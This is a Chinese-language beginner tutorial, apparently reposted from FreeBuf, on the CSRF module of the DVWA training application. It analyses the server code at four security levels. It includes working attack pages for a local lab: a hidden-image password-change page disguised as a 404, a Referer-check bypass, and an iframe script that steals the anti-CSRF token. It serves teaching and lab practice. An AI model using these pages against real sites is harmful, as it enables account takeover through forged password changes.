CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

csrf

2017年5月22日 862点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

新手指南:DVWA-1.9全级别教程之CSRF

lonehand2016-11-03+12共382272人围观 ,发现 18 个不明物体WEB安全新手科普

*本文原创作者:lonehand,转载须注明来自FreeBuf.COM

目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,并且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。

DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

1.png

DVWA的搭建

Freebuf上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》(http://www.freebuf.com/sectool/102661.html)已经写得非常好了,在这里就不赘述了。

之前介绍了Brute Force模块(http://www.freebuf.com/articles/web/116437.html)、Command Injection模块(http://www.freebuf.com/articles/web/116714.html)的内容,本文介绍的是CSRF模块,后续教程会在之后的文章中给出。

CSRF(Cross-site request forgery)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。

1.png

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

漏洞利用

1、构造链接

A) 最基础的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)

1.png

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

1.png

有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

如http://dwz.cn/****

1.png

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

1.png

需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

C) 构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。

1.png

Medium

服务器端核心代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?> 

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。

1.png

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)

我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了

1.png

下面是Burpsuite的截图

1.png

Referer参数完美绕过过滤规则

1.png

密码修改成功

1.png

High

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">

function attack()

{

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

 

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>

</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

1.png

这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

1.png

注入代码如下

1.png

Impossible

服务器端核心代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 

    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

*本文原创作者:lonehand,转载须注明来自FreeBuf.COM

lonehand

lonehand9 篇文章等级: 4级
|
|
  • 上一篇:路由追踪程序Traceroute分析与科普
  • 下一篇:安全开发Java动态代理

这些评论亮了

  • lonehand(4级)要耐得住寂寞回复
    @ 小菜鸟 可能是我没说明白,这里利用的是存储型xss,当受害者访问这个存在xss的页面,他改密页面的token可以被脚本获取,而High级别的反CSRF机制的关键就是这个token,有了这个token,就可以绕过安全机制向服务器发送伪造的更改密码的请求,这样受害者的密码就在不知不觉中被修改了。演示时我访问这个xss页面,拿到的当然也就是我自己的token。
    )9(亮了
  • 小菜鸟回复
    有一事不明白,获取token的地方,xss是在本地运行的那你获得的token也只是你自己的token而不是有管理权限的token 能否把这个地方说清楚一点
    )6(亮了
发表评论

已有 18 条评论

  • 小菜鸟呵呵哒 (1级) 2016-11-03回复1楼

    :mrgreen: :mrgreen:

    亮了(3)
  • hyrra (1级) 2016-11-03回复2楼

    前排出售个瓜子板凳什么的(´⊙ω⊙`)

    亮了(4)
  • 小菜鸟 2016-11-03回复3楼

    有一事不明白,获取token的地方,xss是在本地运行的那你获得的token也只是你自己的token而不是有管理权限的token 能否把这个地方说清楚一点

    亮了(6)
    • lonehand (4级)要耐得住寂寞 2016-11-03回复

      @ 小菜鸟 可能是我没说明白,这里利用的是存储型xss,当受害者访问这个存在xss的页面,他改密页面的token可以被脚本获取,而High级别的反CSRF机制的关键就是这个token,有了这个token,就可以绕过安全机制向服务器发送伪造的更改密码的请求,这样受害者的密码就在不知不觉中被修改了。演示时我访问这个xss页面,拿到的当然也就是我自己的token。

      亮了(9)
    • xdzj (1级) 2017-02-17回复

      @ 小菜鸟 这个地方的过程确实描述的不是很清楚

      亮了(0)
  • 尚澤萬代 2016-11-03回复4楼

    mark!

    亮了(2)
  • zhangtory (3级)专业打酱油 2016-11-03回复5楼

    这个系列的文章都不错。

    亮了(4)
  • whynot (1级) 2016-11-04回复6楼

    不错不错 期待下一篇。

    亮了(3)
  • Byc4i (1级) 2016-11-04回复7楼

    小白期待更新。支持一下!

    亮了(2)
  • harvey_ha (1级) 2016-11-04回复8楼

    期待下一篇~~

    亮了(2)
  • tany (1级) 2016-11-07回复9楼

    谢谢

    亮了(0)
  • 帽儿 (1级) 2016-11-13回复10楼

    加了原始密码,真心简单粗暴,其实也可以不用加token机制了吧

    亮了(1)
    • lonehand (4级)要耐得住寂寞 2016-11-13回复

      @ 帽儿  加原始密码,本质上就是做了身份认证吧,肯定比token有效多了啊

      亮了(0)
  • power_h (1级) 2016-11-22回复11楼

    赞一个! :grin:

    亮了(0)
  • 一月的周先生 (2级) 2016-12-19回复12楼

    mark

    亮了(0)
  • 青春是卫生纸 (1级) 2017-01-04回复13楼

    :grin: :grin: :grin: :grin: :grin: :grin: :grin: :grin:

    亮了(0)
  • xdzj (1级) 2017-02-17回复14楼

    非常棒的文章,条理非常清晰,过程交代的非常清楚,步步深入,对真正有耐心,肯沉下心来学习的人非常受益,顶楼主

    亮了(0)
  • doraemonAAA (1级) 2017-05-16回复15楼

    学习了 :grin: :grin:

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

lonehand

lonehand

要耐得住寂寞

9 篇文章53 条评论

相关阅读

  • 利用csrf漏洞上传文件
  • 说说“史上最大规模的DNS劫持”
  • 新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)
  • 新手指南:DVWA-1.9全级别教程之File Upload
  • 新手指南:DVWA-1.9全级别教程之CSRF

特别推荐

关注我们 分享每日精选文章

不容错过

  • 一周海外安全事件回顾(9.15-9.21): 说好的分手呢?blackscreen2014-09-26
  • 未越狱也中招:iOS平台首个间谍应用(APP)XAgent样本分析鸢尾2015-02-15
  • 军火库(第一期):无线电硬件安全大牛都用哪些利器?FB独家2016-04-28
  • 在线密码管理器LastPass遭入侵明明知道2015-06-16

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0day

标签: 暂无
最后更新:2017年5月22日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me